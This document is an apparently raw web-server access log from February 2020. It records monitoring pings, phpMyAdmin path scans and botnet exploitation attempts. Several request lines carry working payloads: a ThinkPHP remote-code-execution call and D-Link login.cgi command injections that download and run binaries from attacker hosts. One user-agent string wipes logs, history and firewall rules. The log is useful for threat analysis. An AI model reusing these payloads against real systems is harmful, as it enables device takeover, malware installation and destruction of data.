47.89.225.94 - - [19/Feb/2020:15:31:22 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:39 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:40 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:42 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:42 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:43 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:44 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [19/Feb/2020:15:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.225.94 - - [19/Feb/2020:15:31:46 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:46 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:47 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:47 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:48 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:49 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:50 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:50 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:51 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:51 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:52 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:54 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:54 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:55 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:55 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:56 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:58 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:58 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:59 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:31:59 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:00 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:02 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:02 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:03 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:03 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:04 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:06 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:09 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:10 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:10 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:11 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
47.89.225.94 - - [19/Feb/2020:15:32:11 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [19/Feb/2020:15:33:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:15:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.56.53.88 - - [19/Feb/2020:15:36:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.56.53.88 - - [19/Feb/2020:15:36:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:15:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.164.72.238 - - [19/Feb/2020:15:37:52 +0100] "GET /smpp/ HTTP/1.1" 404 310 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"
79.19.6.170 - - [19/Feb/2020:15:38:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.204.132.226 - - [19/Feb/2020:15:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:40:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:42:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:43:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.167.234 - - [19/Feb/2020:15:43:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
84.1.218.89 - - [19/Feb/2020:15:44:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:15:44:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.137.152.35 - - [19/Feb/2020:15:45:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:15:45:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:46:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [19/Feb/2020:15:49:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.124.14.140 - - [19/Feb/2020:15:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.15.176.2 - - [19/Feb/2020:15:53:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:15:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.219.192.170 - - [19/Feb/2020:15:54:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:15:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.131.12 - - [19/Feb/2020:15:55:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:15:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:15:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.139.141.66 - - [19/Feb/2020:16:00:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:16:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.65.133.249 - - [19/Feb/2020:16:01:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [19/Feb/2020:16:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.227.55.76 - - [19/Feb/2020:16:03:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.203.210.129 - - [19/Feb/2020:16:03:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:16:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:16:05:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:16:06:04 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:16:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:16:07:24 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:16:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:16:12:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:16:12:42 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:16:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:16:12:56 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:16:13:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:16:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [19/Feb/2020:16:13:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:16:13:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [19/Feb/2020:16:14:38 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [19/Feb/2020:16:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
105.22.72.166 - - [19/Feb/2020:16:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [19/Feb/2020:16:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.149.140 - - [19/Feb/2020:16:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)"
212.91.246.72 - - [19/Feb/2020:16:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.106.144.57 - - [19/Feb/2020:16:25:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
175.111.183.146 - - [19/Feb/2020:16:25:22 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:16:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.253.224.74 - - [19/Feb/2020:16:26:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.224.74 - - [19/Feb/2020:16:26:09 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
139.162.169.180 - - [19/Feb/2020:16:26:45 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:16:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:28:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:29:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:30:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:31:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:16:32:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.207.57.123 - - [19/Feb/2020:16:32:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:16:33:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.234.215.154 - - [19/Feb/2020:16:33:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
113.220.112.173 - - [19/Feb/2020:16:33:56 +0100] "POST /HNAP1/ HTTP/1.0" 404 311 "-" "-"
212.91.246.72 - - [19/Feb/2020:16:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
